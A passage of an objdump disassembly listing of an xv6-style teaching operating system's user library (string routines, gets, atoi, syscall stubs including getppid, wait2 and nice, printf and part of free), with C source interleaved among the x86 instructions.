82: 89 df mov %ebx,%edi
84: 89 d1 mov %edx,%ecx
86: fc cld
87: f3 aa rep stos %al,%es:(%edi)
89: 89 ca mov %ecx,%edx
8b: 89 fb mov %edi,%ebx
8d: 89 5d 08 mov %ebx,0x8(%ebp)
90: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
93: 90 nop
94: 5b pop %ebx
95: 5f pop %edi
96: 5d pop %ebp
97: c3 ret
00000098 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
98: 55 push %ebp
99: 89 e5 mov %esp,%ebp
9b: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
9e: 8b 45 08 mov 0x8(%ebp),%eax
a1: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
a4: 90 nop
a5: 8b 45 08 mov 0x8(%ebp),%eax
a8: 8d 50 01 lea 0x1(%eax),%edx
ab: 89 55 08 mov %edx,0x8(%ebp)
ae: 8b 55 0c mov 0xc(%ebp),%edx
b1: 8d 4a 01 lea 0x1(%edx),%ecx
b4: 89 4d 0c mov %ecx,0xc(%ebp)
b7: 0f b6 12 movzbl (%edx),%edx
ba: 88 10 mov %dl,(%eax)
bc: 0f b6 00 movzbl (%eax),%eax
bf: 84 c0 test %al,%al
c1: 75 e2 jne a5 <strcpy+0xd>
;
return os;
c3: 8b 45 fc mov -0x4(%ebp),%eax
}
c6: c9 leave
c7: c3 ret
000000c8 <strcmp>:
int
strcmp(const char *p, const char *q)
{
c8: 55 push %ebp
c9: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
cb: eb 08 jmp d5 <strcmp+0xd>
p++, q++;
cd: 83 45 08 01 addl $0x1,0x8(%ebp)
d1: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
d5: 8b 45 08 mov 0x8(%ebp),%eax
d8: 0f b6 00 movzbl (%eax),%eax
db: 84 c0 test %al,%al
dd: 74 10 je ef <strcmp+0x27>
df: 8b 45 08 mov 0x8(%ebp),%eax
e2: 0f b6 10 movzbl (%eax),%edx
e5: 8b 45 0c mov 0xc(%ebp),%eax
e8: 0f b6 00 movzbl (%eax),%eax
eb: 38 c2 cmp %al,%dl
ed: 74 de je cd <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
ef: 8b 45 08 mov 0x8(%ebp),%eax
f2: 0f b6 00 movzbl (%eax),%eax
f5: 0f b6 d0 movzbl %al,%edx
f8: 8b 45 0c mov 0xc(%ebp),%eax
fb: 0f b6 00 movzbl (%eax),%eax
fe: 0f b6 c0 movzbl %al,%eax
101: 29 c2 sub %eax,%edx
103: 89 d0 mov %edx,%eax
}
105: 5d pop %ebp
106: c3 ret
00000107 <strlen>:
uint
strlen(char *s)
{
107: 55 push %ebp
108: 89 e5 mov %esp,%ebp
10a: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
10d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
114: eb 04 jmp 11a <strlen+0x13>
116: 83 45 fc 01 addl $0x1,-0x4(%ebp)
11a: 8b 55 fc mov -0x4(%ebp),%edx
11d: 8b 45 08 mov 0x8(%ebp),%eax
120: 01 d0 add %edx,%eax
122: 0f b6 00 movzbl (%eax),%eax
125: 84 c0 test %al,%al
127: 75 ed jne 116 <strlen+0xf>
;
return n;
129: 8b 45 fc mov -0x4(%ebp),%eax
}
12c: c9 leave
12d: c3 ret
0000012e <memset>:
void*
memset(void *dst, int c, uint n)
{
12e: 55 push %ebp
12f: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
131: 8b 45 10 mov 0x10(%ebp),%eax
134: 50 push %eax
135: ff 75 0c pushl 0xc(%ebp)
138: ff 75 08 pushl 0x8(%ebp)
13b: e8 32 ff ff ff call 72 <stosb>
140: 83 c4 0c add $0xc,%esp
return dst;
143: 8b 45 08 mov 0x8(%ebp),%eax
}
146: c9 leave
147: c3 ret
00000148 <strchr>:
char*
strchr(const char *s, char c)
{
148: 55 push %ebp
149: 89 e5 mov %esp,%ebp
14b: 83 ec 04 sub $0x4,%esp
14e: 8b 45 0c mov 0xc(%ebp),%eax
151: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
154: eb 14 jmp 16a <strchr+0x22>
if(*s == c)
156: 8b 45 08 mov 0x8(%ebp),%eax
159: 0f b6 00 movzbl (%eax),%eax
15c: 3a 45 fc cmp -0x4(%ebp),%al
15f: 75 05 jne 166 <strchr+0x1e>
return (char*)s;
161: 8b 45 08 mov 0x8(%ebp),%eax
164: eb 13 jmp 179 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
166: 83 45 08 01 addl $0x1,0x8(%ebp)
16a: 8b 45 08 mov 0x8(%ebp),%eax
16d: 0f b6 00 movzbl (%eax),%eax
170: 84 c0 test %al,%al
172: 75 e2 jne 156 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
174: b8 00 00 00 00 mov $0x0,%eax
}
179: c9 leave
17a: c3 ret
0000017b <gets>:
char*
gets(char *buf, int max)
{
17b: 55 push %ebp
17c: 89 e5 mov %esp,%ebp
17e: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
181: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
188: eb 42 jmp 1cc <gets+0x51>
cc = read(0, &c, 1);
18a: 83 ec 04 sub $0x4,%esp
18d: 6a 01 push $0x1
18f: 8d 45 ef lea -0x11(%ebp),%eax
192: 50 push %eax
193: 6a 00 push $0x0
195: e8 47 01 00 00 call 2e1 <read>
19a: 83 c4 10 add $0x10,%esp
19d: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1a0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1a4: 7e 33 jle 1d9 <gets+0x5e>
break;
buf[i++] = c;
1a6: 8b 45 f4 mov -0xc(%ebp),%eax
1a9: 8d 50 01 lea 0x1(%eax),%edx
1ac: 89 55 f4 mov %edx,-0xc(%ebp)
1af: 89 c2 mov %eax,%edx
1b1: 8b 45 08 mov 0x8(%ebp),%eax
1b4: 01 c2 add %eax,%edx
1b6: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1ba: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1bc: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c0: 3c 0a cmp $0xa,%al
1c2: 74 16 je 1da <gets+0x5f>
1c4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c8: 3c 0d cmp $0xd,%al
1ca: 74 0e je 1da <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1cc: 8b 45 f4 mov -0xc(%ebp),%eax
1cf: 83 c0 01 add $0x1,%eax
1d2: 3b 45 0c cmp 0xc(%ebp),%eax
1d5: 7c b3 jl 18a <gets+0xf>
1d7: eb 01 jmp 1da <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
1d9: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1da: 8b 55 f4 mov -0xc(%ebp),%edx
1dd: 8b 45 08 mov 0x8(%ebp),%eax
1e0: 01 d0 add %edx,%eax
1e2: c6 00 00 movb $0x0,(%eax)
return buf;
1e5: 8b 45 08 mov 0x8(%ebp),%eax
}
1e8: c9 leave
1e9: c3 ret
000001ea <stat>:
int
stat(char *n, struct stat *st)
{
1ea: 55 push %ebp
1eb: 89 e5 mov %esp,%ebp
1ed: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1f0: 83 ec 08 sub $0x8,%esp
1f3: 6a 00 push $0x0
1f5: ff 75 08 pushl 0x8(%ebp)
1f8: e8 0c 01 00 00 call 309 <open>
1fd: 83 c4 10 add $0x10,%esp
200: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
203: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
207: 79 07 jns 210 <stat+0x26>
return -1;
209: b8 ff ff ff ff mov $0xffffffff,%eax
20e: eb 25 jmp 235 <stat+0x4b>
r = fstat(fd, st);
210: 83 ec 08 sub $0x8,%esp
213: ff 75 0c pushl 0xc(%ebp)
216: ff 75 f4 pushl -0xc(%ebp)
219: e8 03 01 00 00 call 321 <fstat>
21e: 83 c4 10 add $0x10,%esp
221: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
224: 83 ec 0c sub $0xc,%esp
227: ff 75 f4 pushl -0xc(%ebp)
22a: e8 c2 00 00 00 call 2f1 <close>
22f: 83 c4 10 add $0x10,%esp
return r;
232: 8b 45 f0 mov -0x10(%ebp),%eax
}
235: c9 leave
236: c3 ret
00000237 <atoi>:
int
atoi(const char *s)
{
237: 55 push %ebp
238: 89 e5 mov %esp,%ebp
23a: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
23d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
244: eb 25 jmp 26b <atoi+0x34>
n = n*10 + *s++ - '0';
246: 8b 55 fc mov -0x4(%ebp),%edx
249: 89 d0 mov %edx,%eax
24b: c1 e0 02 shl $0x2,%eax
24e: 01 d0 add %edx,%eax
250: 01 c0 add %eax,%eax
252: 89 c1 mov %eax,%ecx
254: 8b 45 08 mov 0x8(%ebp),%eax
257: 8d 50 01 lea 0x1(%eax),%edx
25a: 89 55 08 mov %edx,0x8(%ebp)
25d: 0f b6 00 movzbl (%eax),%eax
260: 0f be c0 movsbl %al,%eax
263: 01 c8 add %ecx,%eax
265: 83 e8 30 sub $0x30,%eax
268: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
26b: 8b 45 08 mov 0x8(%ebp),%eax
26e: 0f b6 00 movzbl (%eax),%eax
271: 3c 2f cmp $0x2f,%al
273: 7e 0a jle 27f <atoi+0x48>
275: 8b 45 08 mov 0x8(%ebp),%eax
278: 0f b6 00 movzbl (%eax),%eax
27b: 3c 39 cmp $0x39,%al
27d: 7e c7 jle 246 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
27f: 8b 45 fc mov -0x4(%ebp),%eax
}
282: c9 leave
283: c3 ret
00000284 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
284: 55 push %ebp
285: 89 e5 mov %esp,%ebp
287: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
28a: 8b 45 08 mov 0x8(%ebp),%eax
28d: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
290: 8b 45 0c mov 0xc(%ebp),%eax
293: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
296: eb 17 jmp 2af <memmove+0x2b>
*dst++ = *src++;
298: 8b 45 fc mov -0x4(%ebp),%eax
29b: 8d 50 01 lea 0x1(%eax),%edx
29e: 89 55 fc mov %edx,-0x4(%ebp)
2a1: 8b 55 f8 mov -0x8(%ebp),%edx
2a4: 8d 4a 01 lea 0x1(%edx),%ecx
2a7: 89 4d f8 mov %ecx,-0x8(%ebp)
2aa: 0f b6 12 movzbl (%edx),%edx
2ad: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2af: 8b 45 10 mov 0x10(%ebp),%eax
2b2: 8d 50 ff lea -0x1(%eax),%edx
2b5: 89 55 10 mov %edx,0x10(%ebp)
2b8: 85 c0 test %eax,%eax
2ba: 7f dc jg 298 <memmove+0x14>
*dst++ = *src++;
return vdst;
2bc: 8b 45 08 mov 0x8(%ebp),%eax
}
2bf: c9 leave
2c0: c3 ret
000002c1 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2c1: b8 01 00 00 00 mov $0x1,%eax
2c6: cd 40 int $0x40
2c8: c3 ret
000002c9 <exit>:
SYSCALL(exit)
2c9: b8 02 00 00 00 mov $0x2,%eax
2ce: cd 40 int $0x40
2d0: c3 ret
000002d1 <wait>:
SYSCALL(wait)
2d1: b8 03 00 00 00 mov $0x3,%eax
2d6: cd 40 int $0x40
2d8: c3 ret
000002d9 <pipe>:
SYSCALL(pipe)
2d9: b8 04 00 00 00 mov $0x4,%eax
2de: cd 40 int $0x40
2e0: c3 ret
000002e1 <read>:
SYSCALL(read)
2e1: b8 05 00 00 00 mov $0x5,%eax
2e6: cd 40 int $0x40
2e8: c3 ret
000002e9 <write>:
SYSCALL(write)
2e9: b8 10 00 00 00 mov $0x10,%eax
2ee: cd 40 int $0x40
2f0: c3 ret
000002f1 <close>:
SYSCALL(close)
2f1: b8 15 00 00 00 mov $0x15,%eax
2f6: cd 40 int $0x40
2f8: c3 ret
000002f9 <kill>:
SYSCALL(kill)
2f9: b8 06 00 00 00 mov $0x6,%eax
2fe: cd 40 int $0x40
300: c3 ret
00000301 <exec>:
SYSCALL(exec)
301: b8 07 00 00 00 mov $0x7,%eax
306: cd 40 int $0x40
308: c3 ret
00000309 <open>:
SYSCALL(open)
309: b8 0f 00 00 00 mov $0xf,%eax
30e: cd 40 int $0x40
310: c3 ret
00000311 <mknod>:
SYSCALL(mknod)
311: b8 11 00 00 00 mov $0x11,%eax
316: cd 40 int $0x40
318: c3 ret
00000319 <unlink>:
SYSCALL(unlink)
319: b8 12 00 00 00 mov $0x12,%eax
31e: cd 40 int $0x40
320: c3 ret
00000321 <fstat>:
SYSCALL(fstat)
321: b8 08 00 00 00 mov $0x8,%eax
326: cd 40 int $0x40
328: c3 ret
00000329 <link>:
SYSCALL(link)
329: b8 13 00 00 00 mov $0x13,%eax
32e: cd 40 int $0x40
330: c3 ret
00000331 <mkdir>:
SYSCALL(mkdir)
331: b8 14 00 00 00 mov $0x14,%eax
336: cd 40 int $0x40
338: c3 ret
00000339 <chdir>:
SYSCALL(chdir)
339: b8 09 00 00 00 mov $0x9,%eax
33e: cd 40 int $0x40
340: c3 ret
00000341 <dup>:
SYSCALL(dup)
341: b8 0a 00 00 00 mov $0xa,%eax
346: cd 40 int $0x40
348: c3 ret
00000349 <getpid>:
SYSCALL(getpid)
349: b8 0b 00 00 00 mov $0xb,%eax
34e: cd 40 int $0x40
350: c3 ret
00000351 <sbrk>:
SYSCALL(sbrk)
351: b8 0c 00 00 00 mov $0xc,%eax
356: cd 40 int $0x40
358: c3 ret
00000359 <sleep>:
SYSCALL(sleep)
359: b8 0d 00 00 00 mov $0xd,%eax
35e: cd 40 int $0x40
360: c3 ret
00000361 <uptime>:
SYSCALL(uptime)
361: b8 0e 00 00 00 mov $0xe,%eax
366: cd 40 int $0x40
368: c3 ret
00000369 <getppid>:
SYSCALL(getppid)
369: b8 16 00 00 00 mov $0x16,%eax
36e: cd 40 int $0x40
370: c3 ret
00000371 <wait2>:
SYSCALL(wait2)
371: b8 18 00 00 00 mov $0x18,%eax
376: cd 40 int $0x40
378: c3 ret
00000379 <nice>:
SYSCALL(nice)
379: b8 17 00 00 00 mov $0x17,%eax
37e: cd 40 int $0x40
380: c3 ret
00000381 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
381: 55 push %ebp
382: 89 e5 mov %esp,%ebp
384: 83 ec 18 sub $0x18,%esp
387: 8b 45 0c mov 0xc(%ebp),%eax
38a: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
38d: 83 ec 04 sub $0x4,%esp
390: 6a 01 push $0x1
392: 8d 45 f4 lea -0xc(%ebp),%eax
395: 50 push %eax
396: ff 75 08 pushl 0x8(%ebp)
399: e8 4b ff ff ff call 2e9 <write>
39e: 83 c4 10 add $0x10,%esp
}
3a1: 90 nop
3a2: c9 leave
3a3: c3 ret
000003a4 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3a4: 55 push %ebp
3a5: 89 e5 mov %esp,%ebp
3a7: 53 push %ebx
3a8: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3ab: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3b2: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3b6: 74 17 je 3cf <printint+0x2b>
3b8: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3bc: 79 11 jns 3cf <printint+0x2b>
neg = 1;
3be: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3c5: 8b 45 0c mov 0xc(%ebp),%eax
3c8: f7 d8 neg %eax
3ca: 89 45 ec mov %eax,-0x14(%ebp)
3cd: eb 06 jmp 3d5 <printint+0x31>
} else {
x = xx;
3cf: 8b 45 0c mov 0xc(%ebp),%eax
3d2: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3d5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3dc: 8b 4d f4 mov -0xc(%ebp),%ecx
3df: 8d 41 01 lea 0x1(%ecx),%eax
3e2: 89 45 f4 mov %eax,-0xc(%ebp)
3e5: 8b 5d 10 mov 0x10(%ebp),%ebx
3e8: 8b 45 ec mov -0x14(%ebp),%eax
3eb: ba 00 00 00 00 mov $0x0,%edx
3f0: f7 f3 div %ebx
3f2: 89 d0 mov %edx,%eax
3f4: 0f b6 80 78 0a 00 00 movzbl 0xa78(%eax),%eax
3fb: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
3ff: 8b 5d 10 mov 0x10(%ebp),%ebx
402: 8b 45 ec mov -0x14(%ebp),%eax
405: ba 00 00 00 00 mov $0x0,%edx
40a: f7 f3 div %ebx
40c: 89 45 ec mov %eax,-0x14(%ebp)
40f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
413: 75 c7 jne 3dc <printint+0x38>
if(neg)
415: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
419: 74 2d je 448 <printint+0xa4>
buf[i++] = '-';
41b: 8b 45 f4 mov -0xc(%ebp),%eax
41e: 8d 50 01 lea 0x1(%eax),%edx
421: 89 55 f4 mov %edx,-0xc(%ebp)
424: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
429: eb 1d jmp 448 <printint+0xa4>
putc(fd, buf[i]);
42b: 8d 55 dc lea -0x24(%ebp),%edx
42e: 8b 45 f4 mov -0xc(%ebp),%eax
431: 01 d0 add %edx,%eax
433: 0f b6 00 movzbl (%eax),%eax
436: 0f be c0 movsbl %al,%eax
439: 83 ec 08 sub $0x8,%esp
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 3c ff ff ff call 381 <putc>
445: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
448: 83 6d f4 01 subl $0x1,-0xc(%ebp)
44c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
450: 79 d9 jns 42b <printint+0x87>
putc(fd, buf[i]);
}
452: 90 nop
453: 8b 5d fc mov -0x4(%ebp),%ebx
456: c9 leave
457: c3 ret
00000458 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
458: 55 push %ebp
459: 89 e5 mov %esp,%ebp
45b: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
45e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
465: 8d 45 0c lea 0xc(%ebp),%eax
468: 83 c0 04 add $0x4,%eax
46b: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
46e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
475: e9 59 01 00 00 jmp 5d3 <printf+0x17b>
c = fmt[i] & 0xff;
47a: 8b 55 0c mov 0xc(%ebp),%edx
47d: 8b 45 f0 mov -0x10(%ebp),%eax
480: 01 d0 add %edx,%eax
482: 0f b6 00 movzbl (%eax),%eax
485: 0f be c0 movsbl %al,%eax
488: 25 ff 00 00 00 and $0xff,%eax
48d: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
490: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
494: 75 2c jne 4c2 <printf+0x6a>
if(c == '%'){
496: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
49a: 75 0c jne 4a8 <printf+0x50>
state = '%';
49c: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4a3: e9 27 01 00 00 jmp 5cf <printf+0x177>
} else {
putc(fd, c);
4a8: 8b 45 e4 mov -0x1c(%ebp),%eax
4ab: 0f be c0 movsbl %al,%eax
4ae: 83 ec 08 sub $0x8,%esp
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: e8 c7 fe ff ff call 381 <putc>
4ba: 83 c4 10 add $0x10,%esp
4bd: e9 0d 01 00 00 jmp 5cf <printf+0x177>
}
} else if(state == '%'){
4c2: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4c6: 0f 85 03 01 00 00 jne 5cf <printf+0x177>
if(c == 'd'){
4cc: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4d0: 75 1e jne 4f0 <printf+0x98>
printint(fd, *ap, 10, 1);
4d2: 8b 45 e8 mov -0x18(%ebp),%eax
4d5: 8b 00 mov (%eax),%eax
4d7: 6a 01 push $0x1
4d9: 6a 0a push $0xa
4db: 50 push %eax
4dc: ff 75 08 pushl 0x8(%ebp)
4df: e8 c0 fe ff ff call 3a4 <printint>
4e4: 83 c4 10 add $0x10,%esp
ap++;
4e7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4eb: e9 d8 00 00 00 jmp 5c8 <printf+0x170>
} else if(c == 'x' || c == 'p'){
4f0: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
4f4: 74 06 je 4fc <printf+0xa4>
4f6: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
4fa: 75 1e jne 51a <printf+0xc2>
printint(fd, *ap, 16, 0);
4fc: 8b 45 e8 mov -0x18(%ebp),%eax
4ff: 8b 00 mov (%eax),%eax
501: 6a 00 push $0x0
503: 6a 10 push $0x10
505: 50 push %eax
506: ff 75 08 pushl 0x8(%ebp)
509: e8 96 fe ff ff call 3a4 <printint>
50e: 83 c4 10 add $0x10,%esp
ap++;
511: 83 45 e8 04 addl $0x4,-0x18(%ebp)
515: e9 ae 00 00 00 jmp 5c8 <printf+0x170>
} else if(c == 's'){
51a: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
51e: 75 43 jne 563 <printf+0x10b>
s = (char*)*ap;
520: 8b 45 e8 mov -0x18(%ebp),%eax
523: 8b 00 mov (%eax),%eax
525: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
528: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
52c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
530: 75 25 jne 557 <printf+0xff>
s = "(null)";
532: c7 45 f4 22 08 00 00 movl $0x822,-0xc(%ebp)
while(*s != 0){
539: eb 1c jmp 557 <printf+0xff>
putc(fd, *s);
53b: 8b 45 f4 mov -0xc(%ebp),%eax
53e: 0f b6 00 movzbl (%eax),%eax
541: 0f be c0 movsbl %al,%eax
544: 83 ec 08 sub $0x8,%esp
547: 50 push %eax
548: ff 75 08 pushl 0x8(%ebp)
54b: e8 31 fe ff ff call 381 <putc>
550: 83 c4 10 add $0x10,%esp
s++;
553: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
557: 8b 45 f4 mov -0xc(%ebp),%eax
55a: 0f b6 00 movzbl (%eax),%eax
55d: 84 c0 test %al,%al
55f: 75 da jne 53b <printf+0xe3>
561: eb 65 jmp 5c8 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
563: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
567: 75 1d jne 586 <printf+0x12e>
putc(fd, *ap);
569: 8b 45 e8 mov -0x18(%ebp),%eax
56c: 8b 00 mov (%eax),%eax
56e: 0f be c0 movsbl %al,%eax
571: 83 ec 08 sub $0x8,%esp
574: 50 push %eax
575: ff 75 08 pushl 0x8(%ebp)
578: e8 04 fe ff ff call 381 <putc>
57d: 83 c4 10 add $0x10,%esp
ap++;
580: 83 45 e8 04 addl $0x4,-0x18(%ebp)
584: eb 42 jmp 5c8 <printf+0x170>
} else if(c == '%'){
586: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
58a: 75 17 jne 5a3 <printf+0x14b>
putc(fd, c);
58c: 8b 45 e4 mov -0x1c(%ebp),%eax
58f: 0f be c0 movsbl %al,%eax
592: 83 ec 08 sub $0x8,%esp
595: 50 push %eax
596: ff 75 08 pushl 0x8(%ebp)
599: e8 e3 fd ff ff call 381 <putc>
59e: 83 c4 10 add $0x10,%esp
5a1: eb 25 jmp 5c8 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5a3: 83 ec 08 sub $0x8,%esp
5a6: 6a 25 push $0x25
5a8: ff 75 08 pushl 0x8(%ebp)
5ab: e8 d1 fd ff ff call 381 <putc>
5b0: 83 c4 10 add $0x10,%esp
putc(fd, c);
5b3: 8b 45 e4 mov -0x1c(%ebp),%eax
5b6: 0f be c0 movsbl %al,%eax
5b9: 83 ec 08 sub $0x8,%esp
5bc: 50 push %eax
5bd: ff 75 08 pushl 0x8(%ebp)
5c0: e8 bc fd ff ff call 381 <putc>
5c5: 83 c4 10 add $0x10,%esp
}
state = 0;
5c8: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5cf: 83 45 f0 01 addl $0x1,-0x10(%ebp)
5d3: 8b 55 0c mov 0xc(%ebp),%edx
5d6: 8b 45 f0 mov -0x10(%ebp),%eax
5d9: 01 d0 add %edx,%eax
5db: 0f b6 00 movzbl (%eax),%eax
5de: 84 c0 test %al,%al
5e0: 0f 85 94 fe ff ff jne 47a <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
5e6: 90 nop
5e7: c9 leave
5e8: c3 ret
000005e9 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5e9: 55 push %ebp
5ea: 89 e5 mov %esp,%ebp
5ec: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
5ef: 8b 45 08 mov 0x8(%ebp),%eax
5f2: 83 e8 08 sub $0x8,%eax
5f5: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5f8: a1 94 0a 00 00 mov 0xa94,%eax
5fd: 89 45 fc mov %eax,-0x4(%ebp)
600: eb 24 jmp 626 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
602: 8b 45 fc mov -0x4(%ebp),%eax
605: 8b 00 mov (%eax),%eax
607: 3b 45 fc cmp -0x4(%ebp),%eax
60a: 77 12 ja 61e <free+0x35>
60c: 8b 45 f8 mov -0x8(%ebp),%eax
60f: 3b 45 fc cmp -0x4(%ebp),%eax
612: 77 24 ja 638 <free+0x4f>
614: 8b 45 fc mov -0x4(%ebp),%eax
617: 8b 00 mov (%eax),%eax
619: 3b 45 f8 cmp -0x8(%ebp),%eax
61c: 77 1a ja 638 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
61e: 8b 45 fc mov -0x4(%ebp),%eax
621: 8b 00 mov (%eax),%eax
623: 89 45 fc mov %eax,-0x4(%ebp)
626: 8b 45 f8 mov -0x8(%ebp),%eax
629: 3b 45 fc cmp -0x4(%ebp),%eax
62c: 76 d4 jbe 602 <free+0x19>
62e: 8b 45 fc mov -0x4(%ebp),%eax
631: 8b 00 mov (%eax),%eax
633: 3b 45 f8 cmp -0x8(%ebp),%eax
636: 76 ca jbe 602 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
638: 8b 45 f8 mov -0x8(%ebp),%eax
63b: 8b 40 04 mov 0x4(%eax),%eax
63e: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
645: 8b 45 f8 mov -0x8(%ebp),%eax
648: 01 c2 add %eax,%edx
64a: 8b 45 fc mov -0x4(%ebp),%eax
64d: 8b 00 mov (%eax),%eax
64f: 39 c2 cmp %eax,%edx
651: 75 24 jne 677 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
653: 8b 45 f8 mov -0x8(%ebp),%eax
656: 8b 50 04 mov 0x4(%eax),%edx
659: 8b 45 fc mov -0x4(%ebp),%eax
65c: 8b 00 mov (%eax),%eax
65e: 8b 40 04 mov 0x4(%eax),%eax
661: 01 c2 add %eax,%edx
663: 8b 45 f8 mov -0x8(%ebp),%eax
666: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
669: 8b 45 fc mov -0x4(%ebp),%eax
66c: 8b 00 mov (%eax),%eax
66e: 8b 10 mov (%eax),%edx
670: 8b 45 f8 mov -0x8(%ebp),%eax
673: 89 10 mov %edx,(%eax)
675: eb 0a jmp 681 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
677: 8b 45 fc mov -0x4(%ebp),%eax
67a: 8b 10 mov (%eax),%edx
